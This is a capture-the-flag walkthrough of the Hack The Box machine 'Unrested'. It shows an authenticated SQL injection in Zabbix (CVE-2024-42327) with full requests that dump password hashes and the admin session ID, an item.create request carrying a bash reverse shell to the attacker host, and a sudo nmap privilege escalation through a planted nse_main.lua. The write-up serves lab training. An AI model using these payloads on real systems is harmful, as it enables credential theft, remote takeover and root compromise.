unrested - hack the box

Unrested is a vulnerable Linux machine hosting a version of Zabbix. Enumerating the version of Zabbix shows that it is vulnerable to both SQLi and RCE exploits which we use to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the zabbix user to execute a malicious nmap configuration file.

Enumeration

As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3

Target IP: 10.129.231.176 Attacker IP: 10.10.14.110

nmap -sCVS 10.129.231.176

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We head over to http://10.129.231.176

alt text

This leads me to a login page for Zabbix.

Zabbix is an open-source network monitoring and infrastructure management platform. It’s designed to monitor the availability, performance, and health of IT infrastructure components including servers, network devices, applications, and services.

I use Burp Suite to intercept a login request so I can analyze some more details with our target application.

alt text

This is nothing out of the ordinary, I have a session cookie as well as the parameters for signing in. Looking at the response, I am able to find the version of Zabbix that is running.

alt text

The help button on the homepage of our targets website redirects a user to the documentation for Zabbix version 7.0.

With some quick Googling I come to find that this version of Zabbix is susceptible to a authenticated SQL injection attack, CVE-2024-42327.

A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

Lets check to see if our user matthew has API access. On the left hand column we are able to navigate to the user settings and API tokens menu.

API Token Creation

alt text

It looks like matthew does not have any api tokens set up.

alt text

On the top right of the web application there is an option for user matthew to create an API token. If we are able to do this, we will be able to preform our SQLi attack.

alt text

We create our API token and get an Auth token as well.

a52e780d3f9267b13b12799ca92447e4204f008a9a2d00ad6f8b065957e56622

alt text

Now that I have an API token created for matthew lets check out how SQLi injection works with Zabbix 7.0

CVE 2024-42327 SQLi

https://www.exploit-db.com/exploits/52230


# Exploit Title: Zabbix 7.0.0 - SQL Injection 
# Date: 06/12/2024
# Exploit Author: Leandro Dias Barata @m4nb4
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://support.zabbix.com/browse/ZBX-25623
# Version: 6.0.0 - 6.0.31 / 6.0.32rc1 6.4.0 - 6.4.16 / 6.4.17rc1 7.0.0
# Tested on: Kali Linux   kali-linux-2024.3
# CVE: CVE-2024-42327

import requests
import argparse

HEADERS = {"Content-Type": "application/json"}

def main():
    parser = argparse.ArgumentParser(description="CHECK for CVE-2024-42327")
    parser.add_argument("-t", "--target", required=True, help="API URL")
    parser.add_argument("-u", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")

    args = parser.parse_args()

    url = f"{args.target.rstrip('/')}/api_jsonrpc.php"

    # Login to get the token
    login_data = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {"username": args.username, "password": args.password},
        "id": 1,
        "auth": None
    }

    try:
        login_response = requests.post(url, json=login_data, headers=HEADERS)
        login_response.raise_for_status()
        auth_token = login_response.json().get("result")

        # Simple SQLi test
        data = {
            "jsonrpc": "2.0",
            "method": "user.get",
            "params": {
                "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
                "userids": ["1", "2"]
            },
            "id": 1,
            "auth": auth_token
        }

        test_response = requests.post(url, json=data, headers=HEADERS)
        test_response.raise_for_status()

        if "error" in test_response.text:
            print("[-] NOT VULNERABLE.")
        else:
            print("[!] VULNERABLE.")

    except requests.RequestException as e:
        print(f"[!] Request error: {e}")

if __name__ == "__main__":
    main()
            

This script targets /api_jsonrpc.php and first logins to retrieve a token. Once we obtain this token the script uses it to see if the application is vulnerable to SQLi. I’ll break this down in Burp Suite to have a better look.

alt text

This is the request we make in Burp Suite to obtain our token. We target /api_jsonrpc.php and user the user.login method. Make sure to include the parameters that are required for the user.login method such as username and password.

alt text

Our response comes back with the token in the result field. Now we can use this token for testing our SQLi attack.

alt text

I target /api_jsonrpc.php and use the user.get method this time. The parameters needed for this method are roleid, name, and type. I also include our SQLi line, readonly AND (SELECT(SLEEP(5))). It is also required to use the userids parameter.

Note: It is also viable to just use the original auth token from creating the API token in the first place.

Knowing this lets find a way to grab the admin token.

I will be dissecting pieces of this python script for use in our POST requests: https://github.com/874anthony/CVE-2024-42327_Zabbix_SQLi

To save time I will also just research what table we need to extract from. A good idea would be to actually set Zabbix 7.0 in your own environment so you can see how the databases are set up.

https://support.zabbix.com/si/jira.issueviews:issue-html/ZBX-4322/ZBX-4322.html

It looks like we need to target the sessions table and grab sessionid from it, but for now, we will also take a look at a few other items.

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 273

{"jsonrpc": "2.0", 
"method": "user.get", "params": {
"selectRole": ["name, (SELECT GROUP_CONCAT(userid, ', ', username, ', ', passwd, ', ', roleid, ' || ') FROM users)"],"editable":1 }, "id": 1, "auth": "a52e780d3f9267b13b12799ca92447e4204f008a9a2d00ad6f8b065957e56622"}

We are able to use this request to grab a hashed password from the users table in the database. However, we are looking for an admin token that we can use to achieve RCE on our target.

alt text

alt text

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 249

{"jsonrpc": "2.0", 
"method": "user.get", "params": {
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ' || ') FROM sessions)"],"editable":1 }, "id": 1, "auth": "a52e780d3f9267b13b12799ca92447e4204f008a9a2d00ad6f8b065957e56622"}

This is the query that is used to grab the sessionid from the sessions table.

alt text

alt text

We get our admin sessionid. We know it is this since we confirm it with the user id we received, 1, to our last query.

e9b57572f6a3f1235b2e14ab89b8c6e8

alt text

RCE

Now with this admin sessionid we can try and execute RCE. For this, we need two parameters. We need a hostid and interfaceid. Using the admin auth token we have we post this request

https://www.zabbix.com/documentation/current/en/manual/api/reference/host/get

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 124

{"jsonrpc": "2.0", 
"method": "host.get", "params": {
"editable":1 }, "id": 1, "auth": "e9b57572f6a3f1235b2e14ab89b8c6e8"}
HTTP/1.1 200 OK
Date: Sat, 12 Jul 2025 15:30:13 GMT
Server: Apache/2.4.52 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 589
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"jsonrpc":"2.0","result":[{"hostid":"10084","proxyid":"0","host":"Zabbix server","status":"0","ipmi_authtype":"-1","ipmi_privilege":"2","ipmi_username":"","ipmi_password":"","maintenanceid":"0","maintenance_status":"0","maintenance_type":"0","maintenance_from":"0","name":"Zabbix server","flags":"0","templateid":"0","description":"","tls_connect":"1","tls_accept":"1","tls_issuer":"","tls_subject":"","custom_interfaces":"0","uuid":"","vendor_name":"","vendor_version":"","proxy_groupid":"0","monitored_by":"0","inventory_mode":"1","active_available":"1","assigned_proxyid":"0"}],"id":1}

This output gives us the hostid that we need. We are still missing the interfaceid. We need to add a selectInterfaces query to complete this.

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 165

{"jsonrpc": "2.0", 
"method": "host.get", "params": {
"selectInterfaces":[
"interfaceid"],
"editable":1
 }, "id": 1, "auth": "e9b57572f6a3f1235b2e14ab89b8c6e8"}

alt text

That request gives us our interfaceid.

hostid:10084

interfaceid: 1

With these parameters we can now attempt RCE with the item.create method.

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 295

{"jsonrpc": "2.0", 
"method": "item.create", "params": {
"name":"ZabbixServer",
"type":0,
"value_type":0,
"delay":5555,
"key_":"system.run[bash -c 'bash -i >& /dev/tcp/10.10.14.110/5555 0>&1']",
"hostid": "10084",
"interfaceid":1
 }, "id": 1, "auth": "e9b57572f6a3f1235b2e14ab89b8c6e8"}

Note The item.create method requires that we also include a type, value_type, and delay parameter. For these I just inserted whatever and I was still able to catch a shell.

We set up a listener on our attacker machine and run this request and get our shell! Looks like we are running as user Zabbix.

alt text

Privilege Escalation: NMAP

alt text

https://gtfobins.github.io/gtfobins/nmap/

I try a lot of these payloads from gtfobins but it looks like interactive mode and script mode is disabled. This will make it harder for us to escalate privileges.

alt text

nmap -h

alt text

The nmap flag that is interesting to us here is –datadir. Lets check out how it works.

alt text

alt text

/usr/share/nmap

nse_main.lua is a core component of Nmap’s scripting engine (NSE - Nmap Scripting Engine). It serves as the main orchestrator and runtime environment for NSE scripts.

The file is essentially the “brain” of NSE, coordinating all scripting activities and ensuring scripts can interact effectively with Nmap’s scanning capabilities and each other.

In our /tmp folder we replicate the file name and insert malicious code to privilege escalate.

nano nse_main.lua

nse_main.lua file contents os.execute("/bin/bash")

sudo nmap --datadir /tmp -sCVS localhost

alt text

With this we can go ahead and grab our root flag! pwned

 

pwnand.win